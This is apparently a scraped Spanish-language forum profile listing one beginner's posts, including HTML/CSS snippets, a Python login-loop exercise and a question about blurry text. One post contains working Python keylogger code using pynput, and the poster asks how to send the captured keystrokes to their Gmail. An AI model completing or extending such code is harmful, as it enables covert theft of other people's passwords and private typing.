168);">51</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">67</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-color<em style="color: rgb(220, 220, 170);">:<em> rgb</em><em style="color: white;">(<em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177<em style="color: white;">,</em><em style="color: rgb(181, 206, 168);">177</em></em><em style="color: white;">)<em>;</em> </em> </em></em> </p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">68</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-width<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 3px</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">69</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">border-style<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color:rgb(206, 145, 120);"> solid</em><em style="color: white;">;</em> </em></p> <p><em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">70</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">______-</em></em></em> <em style="color: rgb(156, 220, 254);">margin<em style="color: rgb(220, 220, 170);"><em style="color: white;">:</em><em style="color: rgb(181, 206, 168);"> 20px</em><em style="color: white;">;</em> </em></p> <em style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_...</em ><em class="numero" style="color: rgb(133, 133, 133);">71</em><em style="color:rgb(51, 51, 51);"><em style="visibility: hidden">___---</em></em></em> <em style="color: white;">}</em></em> <br> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> <em class="numero">72</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);">< /style ></em> <br> <em class="numero" style="color: rgb(133, 133, 133);"><em style="visibility: hidden;">_..</em> <em class="numero">73</em><em style="visibility: hidden;">_--</em> </em> <em style="color: rgb(86, 156, 214);">< /html ></em> </div> </body> <footer class="middle"> <button class="btn btn1"><a style="text-decoration: none;color: white;" href="PaginaWeb.zip" download="PaginaWeb.rar">Descargue la pagina web aquí!</a></button> </footer>
</html> Css *{ padding: 0; margin: 0; font-family: Arial, Helvetica, sans-serif; text-decoration: none;
}
body{ background-color: rgb(51, 51, 51); }
em{ font-style: normal; }
.numero{ -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; }
.middle{ position: absolute; bottom: -760px; left: 50%; transform: translate(-50%,-50%); text-align: center; }
.btn{ background: none; border: 2px solid #000; font-size: "montserrat",sans-serif; text-transform: uppercase; padding: 12px 20px; min-width: 200px; margin: 10px; cursor: pointer; transition: color 0.4s linear; position: relative; top: -20px; }
.btn:hover{ color: #fff;
}
.btn::before{ content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: rgb(0, 26, 255); z-index: -1; transition: transform 0.5s; transform-origin:0 0; transition-timing-function: cubic-bezier(0.5,1.6,0.4,0.7); }
.btn1::before{ transition: 1.5s; transform:scaleX(0) ; }
.btn1:hover::before{ transition: 1.5s; transform:scaleX(1) ; } Pd:Si soy nuevo en html y css.
|
|
|
225
|
Programación / Scripting / Re: AYUDA TEXTO HTML
|
en: 17 Septiembre 2020, 07:31 am
|
ya veo, además de desarrolladores buscas adivinos: claro, porque hay solo un entorno para hacerla y una sola forma de declarar el texto.
Oh,entiendo gracias por tu tiempo. (Tobogan de piojos and chupa pija )
|
|
|
226
|
Programación / Scripting / AYUDA TEXTO HTML
|
en: 17 Septiembre 2020, 07:01 am
|
¿Por qué los textos html / css aparecen tan "pixelados"? ¿Y hay alguna manera de tener mejores resultados y aún usar solo código html / css / javascript / other? ej: Gracias
|
|
|
228
|
Programación / Scripting / Problema con keylogger
|
en: 30 Agosto 2020, 04:12 am
|
Hola,estoy creando un keylogger.Y quiero que cuando se presione espacio o borrar se respete eso.Y no quede algo así (holaprueba12) Y también quiero hacer que se me mande el archivo a mi gmail pero no se como hacer algo así. from pynput.keyboard import Listener
f = open("KeyLogger{}.txt", "w")
def key_recorder(key): key=str(key) print(key) if key == "Key.enter": f.write("\n") elif key == "Key.space": f.write("") elif key == "Key.backspace": f.write("") elif key == "'\\x05'": f.close() quit() elif key == "Key.ctrl_l": f.write("") elif key == "Key.shift": f.write("") else: f.write(key.replace("'","")) with Listener(on_press=key_recorder) as l1: l1.join() PD:ctrl + e para cerrar el keylogger
|
|
|
229
|
Programación / Scripting / Re: Mi primer proyecto de python
|
en: 28 Agosto 2020, 01:20 am
|
Hola Panic0, tu código actual esta bastante mejor , mucho mas compacto y legible que anteriormente, lo único "malo" que veo ahora en tu código ( siendo realmente quisquilloso por mi parte) es el tema de asignar un nombre como "contra", yo te recomendaría no usar estas contracciones, en mi caso hubiera optado por "contraseña" o como en tu caso pusiste "user" al usuario, hubiese puesto "password". Pero como ya digo esto ya es ser realmente quisquilloso, deberías estar realmente orgulloso de haber comprimido el pedazo tocho de código anterior y que el único errorcillo mas grave sea ese. Por lo demás, me puse a hacer un código mas compacto aún hace 5 minutillos y me salio esto, ojala te sirva de inspiración para este o futuros proyectos: contador = 3
while contador != 0: usuario = input("Introduce el usuario:") if usuario == "root": contraseña = input("Introduce la contraseña:") if contraseña == "123": print("Bienvenido señor X") break else: contador -= 1 print(" ERROR \n Quedan ", contador, "intentos.")
Si tienes cualquier duda de códigos en el futuro no dudes en mandarme un mensaje privado. Entre principiantes hay que ayudarnos . Exacto,Muchas gracias por dar tu opinión y ayudarme .
|
|
|
230
|
Programación / Scripting / Re: Mi primer proyecto de python
|
en: 27 Agosto 2020, 04:17 am
|
evidentemente no evaluas las posibilidades 1) usuario = root clave = 356 se queda colgado 2)usuario = jordan clave = 123 se queda colgado estos son errores de lógica, hay que cambiarlos además seguis usando variables innecesarias: loop = True
si te fijas a la variable la usas únicamente para el bucle, y salís con break, para eso directamente: while True:
esto si bien no es necesario cambiarlo ni es un error es escribir código al vicio. hay más cosas a mejorar, pero bueno, estás comenzando. Bien,errores en lógica y todo,Pero el programa funciona. ¿Que te parece ahora? contador = 4 user = input("introduzca el nombre de usuario:") contra = input("introduzca la contraseña:") while True: if user == "root": pass if contra == "123": print("Bienvenido") break if user != "root": if contra != "123": contador = contador - 1 print ("Quedan " + str(int(contador)) + " intentos!") user = input("Ingrese su usuario:") contra = input("Ingrese su contraseña:") if contador == 1: print("Saliendo...") break
|
|
|
|
|
|
|